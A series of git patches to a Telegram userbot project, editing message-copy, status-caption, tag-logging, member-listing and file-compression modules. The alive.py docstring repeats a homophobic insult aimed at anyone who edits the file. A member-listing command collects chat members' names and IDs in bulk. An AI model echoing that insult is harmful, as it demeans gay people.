CMD_HELP + + +@borg.on(lightning_cmd(pattern="copy")) +async def _(event): + if event.fwd_from: + return + if event.reply_to_msg_id: + previous_message = await event.get_reply_message() + the_real_message = previous_message.text + event.reply_to_msg_id + the_real_message = the_real_message.replace("*", "*") + the_real_message = the_real_message.replace("_", "_") + await event.edit(the_real_message) + else: + await event.edit("Reply to a message .copy to copy nd paste ") + + +CMD_HELP.update({"copy": ".c " "\nc that text nd redeliver it"}) From d5931cdeb8f17c719b12ccfa6f1b0bccc85dd38a Mon Sep 17 00:00:00 2001 From: SLdevilX <52373359+SLdevilX@users.noreply.github.com> Date: Sun, 10 Jan 2021 13:58:12 +0530 Subject: [PATCH 443/838] Delete alive.py --- fridaybot/modules/alive.py | 75 -------------------------------------- 1 file changed, 75 deletions(-) delete mode 100644 fridaybot/modules/alive.py diff --git a/fridaybot/modules/alive.py b/fridaybot/modules/alive.py deleted file mode 100644 index 3e222f88..00000000 --- a/fridaybot/modules/alive.py +++ /dev/null @@ -1,75 +0,0 @@ -"""Check if fridaybot alive. If you change these, you become the gayest gay such that even the gay world will disown you.""" -# CREDITS: @WhySooSerious, @Sur_vivor -import time - -from uniborg.util import friday_on_cmd, sudo_cmd - -from fridaybot import ALIVE_NAME, CMD_HELP, Lastupdate -from fridaybot.Configs import Config -from fridaybot.modules import currentversion - - -# Functions -def get_readable_time(seconds: int) -> str: - count = 0 - ping_time = "" - time_list = [] - time_suffix_list = ["s", "m", "h", "days"] - - while count < 4: - count += 1 - if count < 3: - remainder, result = divmod(seconds, 60) - else: - remainder, result = divmod(seconds, 24) - if seconds == 0 and remainder == 0: - break - time_list.append(int(result)) - seconds = int(remainder) - - for x in range(len(time_list)): - time_list[x] = str(time_list[x]) + time_suffix_list[x] - if len(time_list) == 4: - ping_time += time_list.pop() + ", " - - time_list.reverse() - ping_time += ":".join(time_list) - - return ping_time - - -uptime = get_readable_time((time.time() - Lastupdate)) -DEFAULTUSER = str(ALIVE_NAME) if ALIVE_NAME else "Unknown" -PM_IMG = Config.ALIVE_IMAGE -pm_caption = " **virtualuserbot ** \n\n" -pm_caption += "➣ **SYS** `នƴន ʀᴜɴɴɪɢ⋆ 🏃`\n" -pm_caption += "➣ **Telethon** `₁.₁₅.₀ ` \n" -pm_caption += "➣ **Python** `₃.₇.₄ ` \n" -pm_caption += f"➣ **Uptime** `{uptime}` \n" -pm_caption += "➣ **Realised** `Λi_user project`\n" -pm_caption += "➣ **Branch** `master`\n" -pm_caption += f"➣ **Version** `{currentversion}`\n" -pm_caption += f"➣ **My Boss** {DEFAULTUSER} \n" -pm_caption += "➣ **RDP** `Azureˢˢˡ`\n" -pm_caption += "➣ **License** [GNU GPLv3.0](github.com/inukaasith/virtualuserbot/blob/master/LICENSE)\n" -pm_caption += "➣ **Copyright** [@virtualuserbot](https://github.com/inukaasith/virtualuserbot)\n" -pm_caption += "➣ **Check ** `.stat`. \n\n" -pm_caption += "[Contact Dev](https://t.me/inukaasith ) \n" -pm_caption += "[Contact Mod](https://t.me/Zzlll_lllzZ)" - -@friday.on(friday_on_cmd(pattern=r"alive")) -@friday.on(sudo_cmd(pattern=r"alive", allow_sudo=True)) -async def friday(alive): - await alive.get_chat() - """ For .alive command, check if the bot is running. """ - await borg.send_file(alive.chat_id, PM_IMG, caption=pm_caption) - await alive.delete() - - -CMD_HELP.update( - { - "alive": "**ALive**\ -\n\n**Syntax : **`.alive`\ -\n**Usage :** Check if UserBot is Alive" - } -) From ff1b6b3066ec5412af65fe1cc0c9cd6d794102d2 Mon Sep 17 00:00:00 2001 From: SLdevilX <52373359+SLdevilX@users.noreply.github.com> Date: Sun, 10 Jan 2021 13:58:51 +0530 Subject: [PATCH 444/838] Add files via upload --- fridaybot/modules/alive.py | 75 ++++++++++++++++++++++++++++++++++++++ 1 file changed, 75 insertions(+) create mode 100644 fridaybot/modules/alive.py diff --git a/fridaybot/modules/alive.py b/fridaybot/modules/alive.py new file mode 100644 index 00000000..86a04f11 --- /dev/null +++ b/fridaybot/modules/alive.py @@ -0,0 +1,75 @@ +"""Check if fridaybot alive. If you change these, you become the gayest gay such that even the gay world will disown you.""" +# CREDITS: @WhySooSerious, @Sur_vivor +import time + +from uniborg.util import friday_on_cmd, sudo_cmd + +from fridaybot import ALIVE_NAME, CMD_HELP, Lastupdate +from fridaybot.Configs import Config +from fridaybot.modules import currentversion + + +# Functions +def get_readable_time(seconds: int) -> str: + count = 0 + ping_time = "" + time_list = [] + time_suffix_list = ["s", "m", "h", "days"] + + while count < 4: + count += 1 + if count < 3: + remainder, result = divmod(seconds, 60) + else: + remainder, result = divmod(seconds, 24) + if seconds == 0 and remainder == 0: + break + time_list.append(int(result)) + seconds = int(remainder) + + for x in range(len(time_list)): + time_list[x] = str(time_list[x]) + time_suffix_list[x] + if len(time_list) == 4: + ping_time += time_list.pop() + ", " + + time_list.reverse() + ping_time += ":".join(time_list) + + return ping_time + + +uptime = get_readable_time((time.time() - Lastupdate)) +DEFAULTUSER = str(ALIVE_NAME) if ALIVE_NAME else "Unknown" +PM_IMG = Config.ALIVE_IMAGE +pm_caption = " **virtualuserbot ** \n\n" +pm_caption += "➣ **SYS** `នƴន ʀᴜɴɴɪɢ⋆ 🏃`\n" +pm_caption += "➣ **Telethon** `₁.₁₅.₀ ` \n" +pm_caption += "➣ **Python** `₃.₇.₄ ` \n" +pm_caption += f"➣ **Uptime** `{uptime}` \n" +pm_caption += "➣ **Realised** `Λi_user project`\n" +pm_caption += "➣ **Branch** `master`\n" +pm_caption += f"➣ **Version** `{currentversion}`\n" +pm_caption += f"➣ **My Boss** {DEFAULTUSER} \n" +pm_caption += "➣ **RDP** `Azureˢˢˡ`\n" +pm_caption += "➣ **License** [GNU GPLv3.0](github.com/inukaasith/virtualuserbot/blob/master/LICENSE)\n" +pm_caption += "➣ **Copyright** [@virtualuserbot](https://github.com/inukaasith/virtualuserbot)\n" +pm_caption += "➣ **Check ** `.stat`. \n\n" +pm_caption += "➣ **Contact Dev** [Dev](https://t.me/InukaASiTH)\n" +pm_caption += "➣ **Contact Mod** [Mod](https://t.me/Zzlll_lllzZ)\n" + +@friday.on(friday_on_cmd(pattern=r"alive")) +@friday.on(sudo_cmd(pattern=r"alive", allow_sudo=True)) +async def friday(alive): + await alive.get_chat() + """ For .alive command, check if the bot is running. """ + await borg.send_file(alive.chat_id, PM_IMG, caption=pm_caption) + await alive.delete() + + +CMD_HELP.update( + { + "alive": "**ALive**\ +\n\n**Syntax : **`.alive`\ +\n**Usage :** Check if UserBot is Alive" + } +) From 4af82bb01bacd2ea7dbb93e07c447946375c173c Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Sun, 10 Jan 2021 14:06:51 +0530 Subject: [PATCH 445/838] Update copy.py --- fridaybot/modules/copy.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/copy.py b/fridaybot/modules/copy.py index 248eecf3..eb29380d 100644 --- a/fridaybot/modules/copy.py +++ b/fridaybot/modules/copy.py @@ -1,7 +1,7 @@ # Original credits to Black Lightning from ..utils import admin_cmd -from userbot import CMD_HELP +from fridaybot import CMD_HELP @borg.on(lightning_cmd(pattern="copy")) From 1a073541b87521f365ba70a26d44c8a7f540827b Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Sun, 10 Jan 2021 14:10:59 +0530 Subject: [PATCH 446/838] Update copy.py --- fridaybot/modules/copy.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/copy.py b/fridaybot/modules/copy.py index eb29380d..6c03809c 100644 --- a/fridaybot/modules/copy.py +++ b/fridaybot/modules/copy.py @@ -4,7 +4,7 @@ from fridaybot import CMD_HELP -@borg.on(lightning_cmd(pattern="copy")) +@borg.on(admin_cmd(pattern="copy")) async def _(event): if event.fwd_from: return From 9e05d2f5e15eb103e6431254df7d4570bd9ef7a1 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Sun, 10 Jan 2021 14:23:05 +0530 Subject: [PATCH 447/838] Update alive.py --- fridaybot/modules/alive.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/fridaybot/modules/alive.py b/fridaybot/modules/alive.py index 86a04f11..ca75d75c 100644 --- a/fridaybot/modules/alive.py +++ b/fridaybot/modules/alive.py @@ -39,14 +39,14 @@ def get_readable_time(seconds: int) -> str: uptime = get_readable_time((time.time() - Lastupdate)) -DEFAULTUSER = str(ALIVE_NAME) if ALIVE_NAME else "Unknown" +DEFAULTUSER = str(ALIVE_NAME) if ALIVE_NAME else "VirtualUserbot" PM_IMG = Config.ALIVE_IMAGE -pm_caption = " **virtualuserbot ** \n\n" +pm_caption = f" **{DEFAULTUSER} VirtualUserbot at your Service ** \n\n" pm_caption += "➣ **SYS** `នƴន ʀᴜɴɴɪɢ⋆ 🏃`\n" pm_caption += "➣ **Telethon** `₁.₁₅.₀ ` \n" pm_caption += "➣ **Python** `₃.₇.₄ ` \n" pm_caption += f"➣ **Uptime** `{uptime}` \n" -pm_caption += "➣ **Realised** `Λi_user project`\n" +pm_caption += "➣ **Realised** `@Infinity_Bots projects`\n" pm_caption += "➣ **Branch** `master`\n" pm_caption += f"➣ **Version** `{currentversion}`\n" pm_caption += f"➣ **My Boss** {DEFAULTUSER} \n" From bf166c840637d1aba7feb2468b02650a760454c0 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Sun, 10 Jan 2021 14:28:15 +0530 Subject: [PATCH 448/838] Update alive.py --- fridaybot/modules/alive.py | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/fridaybot/modules/alive.py b/fridaybot/modules/alive.py index ca75d75c..4d966ae8 100644 --- a/fridaybot/modules/alive.py +++ b/fridaybot/modules/alive.py @@ -41,19 +41,19 @@ def get_readable_time(seconds: int) -> str: uptime = get_readable_time((time.time() - Lastupdate)) DEFAULTUSER = str(ALIVE_NAME) if ALIVE_NAME else "VirtualUserbot" PM_IMG = Config.ALIVE_IMAGE -pm_caption = f" **{DEFAULTUSER} VirtualUserbot at your Service ** \n\n" -pm_caption += "➣ **SYS** `នƴន ʀᴜɴɴɪɢ⋆ 🏃`\n" +pm_caption = f" **{DEFAULTUSER} VIRTUALUSERBOT IS AT YOUR SERVICE ** \n\n" +pm_caption += "➣ **SYS** `នƴន ʀᴜɴɴɪɢ⋆ 🏃`\n" pm_caption += "➣ **Telethon** `₁.₁₅.₀ ` \n" pm_caption += "➣ **Python** `₃.₇.₄ ` \n" pm_caption += f"➣ **Uptime** `{uptime}` \n" -pm_caption += "➣ **Realised** `@Infinity_Bots projects`\n" +pm_caption += "➣ **Realised By** @Infinity_Bots\n" pm_caption += "➣ **Branch** `master`\n" pm_caption += f"➣ **Version** `{currentversion}`\n" -pm_caption += f"➣ **My Boss** {DEFAULTUSER} \n" -pm_caption += "➣ **RDP** `Azureˢˢˡ`\n" -pm_caption += "➣ **License** [GNU GPLv3.0](github.com/inukaasith/virtualuserbot/blob/master/LICENSE)\n" +pm_caption += f"➣ **My Boss** {DEFAULTUSER} \n" +pm_caption += "➣ **RDP** `Azureˢˢˡ`\n" +pm_caption += "➣ **License** [GNU GPLv3.0](github.com/inukaasith/virtualuserbot/blob/master/LICENSE)\n" pm_caption += "➣ **Copyright** [@virtualuserbot](https://github.com/inukaasith/virtualuserbot)\n" -pm_caption += "➣ **Check ** `.stat`. \n\n" +pm_caption += "➣ **Check ** `.stat`. \n\n" pm_caption += "➣ **Contact Dev** [Dev](https://t.me/InukaASiTH)\n" pm_caption += "➣ **Contact Mod** [Mod](https://t.me/Zzlll_lllzZ)\n" From 34efec98f7597334a88c4ffee721525f1755de51 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Sun, 10 Jan 2021 14:32:01 +0530 Subject: [PATCH 449/838] Update alive.py --- fridaybot/modules/alive.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/fridaybot/modules/alive.py b/fridaybot/modules/alive.py index 4d966ae8..44488e54 100644 --- a/fridaybot/modules/alive.py +++ b/fridaybot/modules/alive.py @@ -41,12 +41,12 @@ def get_readable_time(seconds: int) -> str: uptime = get_readable_time((time.time() - Lastupdate)) DEFAULTUSER = str(ALIVE_NAME) if ALIVE_NAME else "VirtualUserbot" PM_IMG = Config.ALIVE_IMAGE -pm_caption = f" **{DEFAULTUSER} VIRTUALUSERBOT IS AT YOUR SERVICE ** \n\n" +pm_caption = f" **\n {DEFAULTUSER} \n 🔥 VIRTUALUSERBOT IS AT YOUR SERVICE 🔥** \n\n" pm_caption += "➣ **SYS** `នƴន ʀᴜɴɴɪɢ⋆ 🏃`\n" pm_caption += "➣ **Telethon** `₁.₁₅.₀ ` \n" pm_caption += "➣ **Python** `₃.₇.₄ ` \n" pm_caption += f"➣ **Uptime** `{uptime}` \n" -pm_caption += "➣ **Realised By** @Infinity_Bots\n" +pm_caption += "➣ **Realised By** @Infinity_Bots\n" pm_caption += "➣ **Branch** `master`\n" pm_caption += f"➣ **Version** `{currentversion}`\n" pm_caption += f"➣ **My Boss** {DEFAULTUSER} \n" From 3f254463d178ca1b62ba0f4b1859bd028a09a8f4 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Sun, 10 Jan 2021 14:35:34 +0530 Subject: [PATCH 450/838] Update alive.py --- fridaybot/modules/alive.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/alive.py b/fridaybot/modules/alive.py index 44488e54..226d21de 100644 --- a/fridaybot/modules/alive.py +++ b/fridaybot/modules/alive.py @@ -41,7 +41,7 @@ def get_readable_time(seconds: int) -> str: uptime = get_readable_time((time.time() - Lastupdate)) DEFAULTUSER = str(ALIVE_NAME) if ALIVE_NAME else "VirtualUserbot" PM_IMG = Config.ALIVE_IMAGE -pm_caption = f" **\n {DEFAULTUSER} \n 🔥 VIRTUALUSERBOT IS AT YOUR SERVICE 🔥** \n\n" +pm_caption = f" **\n \n🔥 {DEFAULTUSER} VIRTUALUSERBOT IS AT YOUR SERVICE 🔥** \n\n" pm_caption += "➣ **SYS** `នƴន ʀᴜɴɴɪɢ⋆ 🏃`\n" pm_caption += "➣ **Telethon** `₁.₁₅.₀ ` \n" pm_caption += "➣ **Python** `₃.₇.₄ ` \n" From 92351edf55506fd3eb169e5757c6a430fac0481d Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Sun, 10 Jan 2021 17:16:53 +0530 Subject: [PATCH 451/838] Update tag.py --- fridaybot/modules/tag.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/fridaybot/modules/tag.py b/fridaybot/modules/tag.py index 34c230a1..848bb960 100644 --- a/fridaybot/modules/tag.py +++ b/fridaybot/modules/tag.py @@ -19,7 +19,7 @@ from telethon.tl.types import Channel from telethon.utils import get_display_name -from fridaybot import Configs as config +from fridaybot.Configs import config NEEDLOG = int(Config.TAG_LOG) if Config.TAG_LOG else (Var.TG_BOT_USER_NAME_BF_HER) if Config.TAG_LOG: @@ -68,7 +68,7 @@ async def all_messages_catcher(event): ammoca_message += f"{who_m} tagged you in [{where_m}]({message_link})" if NEEDTOLOG is not None: - await tgbot.send_message( + await borg.send_message( entity=NEEDTOLOG, message=ammoca_message, link_preview=False, From 3267fe963a805a2195465f3f633e5c59d16c2601 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Sun, 10 Jan 2021 17:26:36 +0530 Subject: [PATCH 452/838] Update tag.py --- fridaybot/modules/tag.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/tag.py b/fridaybot/modules/tag.py index 848bb960..827db09a 100644 --- a/fridaybot/modules/tag.py +++ b/fridaybot/modules/tag.py @@ -19,7 +19,7 @@ from telethon.tl.types import Channel from telethon.utils import get_display_name -from fridaybot.Configs import config +from fridaybot import Configs as config NEEDLOG = int(Config.TAG_LOG) if Config.TAG_LOG else (Var.TG_BOT_USER_NAME_BF_HER) if Config.TAG_LOG: From d4290d3af930ada2293f4aa227be3e6c228054ea Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Sun, 10 Jan 2021 19:47:06 +0530 Subject: [PATCH 453/838] Create userlist.py --- fridaybot/modules/userlist.py | 54 +++++++++++++++++++++++++++++++++++ 1 file changed, 54 insertions(+) create mode 100644 fridaybot/modules/userlist.py diff --git a/fridaybot/modules/userlist.py b/fridaybot/modules/userlist.py new file mode 100644 index 00000000..3d8692f7 --- /dev/null +++ b/fridaybot/modules/userlist.py @@ -0,0 +1,54 @@ +"""Get Administrators of any Chat* +Syntax: .userlist""" +from telethon import events +from telethon.errors.rpcerrorlist import ChatAdminRequiredError, MessageTooLongError + + +@borg.on(events.NewMessage(pattern=r"\.userlist ?(.*)", outgoing=True)) +async def get_users(show): + """ For .userslist command, list all of the users of the chat. """ + if not show.text[0].isalpha() and show.text[0] not in ("/", "#", "@", "!"): + if not show.is_group: + await show.edit("Are you sure this is a group?") + return + info = await show.client.get_entity(show.chat_id) + title = info.title if info.title else "this chat" + mentions = "Users in {}: \n".format(title) + try: + if not show.pattern_match.group(1): + async for user in show.client.iter_participants(show.chat_id): + if not user.deleted: + mentions += ( + f"\n[{user.first_name}](tg://user?id={user.id}) `{user.id}`" + ) + else: + mentions += f"\nDeleted Account `{user.id}`" + else: + searchq = show.pattern_match.group(1) + async for user in show.client.iter_participants( + show.chat_id, search=f"{searchq}" + ): + if not user.deleted: + mentions += ( + f"\n[{user.first_name}](tg://user?id={user.id}) `{user.id}`" + ) + else: + mentions += f"\nDeleted Account `{user.id}`" + except ChatAdminRequiredError as err: + mentions += " " + str(err) + "\n" + try: + await show.edit(mentions) + except MessageTooLongError: + await show.edit( + "Damn, this is a huge group. Uploading users lists as file." + ) + file = open("userslist.txt", "w+") + file.write(mentions) + file.close() + await show.client.send_file( + show.chat_id, + "userslist.txt", + caption="Users in {}".format(title), + reply_to=show.id, + ) + remove("userslist.txt") From 2c1c9488ceccb0af3df261ba41d90a5ccc751e6c Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Sun, 10 Jan 2021 19:49:01 +0530 Subject: [PATCH 454/838] Create compress.py --- fridaybot/modules/compress.py | 83 +++++++++++++++++++++++++++++++++++ 1 file changed, 83 insertions(+) create mode 100644 fridaybot/modules/compress.py diff --git a/fridaybot/modules/compress.py b/fridaybot/modules/compress.py new file mode 100644 index 00000000..db7fd770 --- /dev/null +++ b/fridaybot/modules/compress.py @@ -0,0 +1,83 @@ +import asyncio +import os +import time +import zipfile + +from uniborg.util import admin_cmd + + +@borg.on(admin_cmd(pattern="compress ?(.*)")) +async def _(event): + + if event.fwd_from: + + return + + input_str = event.pattern_match.group(1) + + mone = await event.edit("Processing ...") + + if not os.path.isdir(Config.TMP_DOWNLOAD_DIRECTORY): + + os.makedirs(Config.TMP_DOWNLOAD_DIRECTORY) + + if event.reply_to_msg_id: + + reply_message = await event.get_reply_message() + + try: + + time.time() + + downloaded_file_name = await borg.download_media( + reply_message, Config.TMP_DOWNLOAD_DIRECTORY + ) + + directory_name = downloaded_file_name + + await event.edit("Finish downloading to my local") + + zipfile.ZipFile(directory_name + ".zip", "w", zipfile.ZIP_DEFLATED).write( + directory_name + ) + + await borg.send_file( + event.chat_id, + directory_name + ".zip", + caption="Zipped By [𝔅𝔩𝔞𝔠𝔨 𝔏𝔦𝔤𝔥𝔱𝔫𝔦𝔫𝔤](https://github.com/Anmol-dot283/Black-Lightning)", + force_document=True, + allow_cache=False, + reply_to=event.message.id, + ) + + try: + + os.remove(directory_name + ".zip") + + os.remove(directory_name) + + except: + + pass + + await event.edit("task Completed") + + await asyncio.sleep(3) + + await event.delete() + + except Exception as e: # pylint:disable=C0103,W0703 + + await mone.edit(str(e)) + + elif input_str: + + directory_name = input_str + + zipfile.ZipFile(directory_name + ".zip", "w", zipfile.ZIP_DEFLATED).write( + directory_name + ) + + await event.edit( + "Local file compressed to `{}`".format(directory_name + ".zip") + ) From b70d6466916728cdfe38d8d00ce461d99050f450 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Sun, 10 Jan 2021 20:10:40 +0530 Subject: [PATCH 455/838] Update exclusive.py --- fridaybot/modules/exclusive.py | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/fridaybot/modules/exclusive.py b/fridaybot/modules/exclusive.py index a89b8021..a2f1ccd0 100644 --- a/fridaybot/modules/exclusive.py +++ b/fridaybot/modules/exclusive.py @@ -4,11 +4,10 @@ from telethon import events from telethon.errors.rpcerrorlist import YouBlockedUserError +from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd, admin_cmd -from ..utils import admin_cmd - -@borg.on(admin_cmd(pattern="purl ?(.*)", allow_sudo=True)) +@friday.on(admin_cmd(pattern=r"purl ?(.*)")) async def _(event): if event.fwd_from: return @@ -37,7 +36,7 @@ async def _(event): -@borg.on(admin_cmd(pattern="reader ?(.*)", allow_sudo=True)) +@friday.on(admin_cmd(pattern=r"reader ?(.*)")) async def _(event): if event.fwd_from: return @@ -67,7 +66,8 @@ async def _(event): ) -@borg.on(admin_cmd(pattern="connecter ?(.*)", allow_sudo=True)) + +@friday.on(admin_cmd(pattern=r"connector ?(.*)")) async def _(event): if event.fwd_from: return From d5caf8ff5306d0b4718a0673cbdbe13af676b25c Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Sun, 10 Jan 2021 21:50:28 +0530 Subject: [PATCH 456/838] Removed Auto Tagging --- fridaybot/Configs.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/Configs.py b/fridaybot/Configs.py index f711c53e..c3baaf2d 100644 --- a/fridaybot/Configs.py +++ b/fridaybot/Configs.py @@ -143,7 +143,7 @@ class Config(object): FBAN_GROUP = int(os.environ.get("FBAN_GROUP", False)) PM_DATA = os.environ.get("PM_DATA", "ENABLE") DEEP_AI = os.environ.get("DEEP_AI", None) - TAG_LOG = os.environ.get("PRIVATE_GROUP_ID", None) + TAG_LOG = os.environ.get("TAG_LOG", None) ENABLE_ASSISTANTBOT = os.environ.get("ENABLE_ASSISTANTBOT", "ENABLE") TAG_FEATURE = os.environ.get("TAG_FEATURE", "DISABLE") JTM_CHANNEL_ID = int(os.environ.get("JTM_CHANNEL_ID", False)) From 5b5916edbe1148f7146d76b1aa4a68053dfd2401 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Sun, 10 Jan 2021 22:28:53 +0530 Subject: [PATCH 457/838] Delete IMG_20200929_103719_628.jpg --- resources/IMG_20200929_103719_628.jpg | Bin 316857 -> 0 bytes 1 file changed, 0 insertions(+), 0 deletions(-) delete mode 100644 resources/IMG_20200929_103719_628.jpg diff --git a/resources/IMG_20200929_103719_628.jpg b/resources/IMG_20200929_103719_628.jpg deleted file mode 100644 index 1170122d1d1f5aeda1f9e7b2785ae0e8f1a91e97..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 316857 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 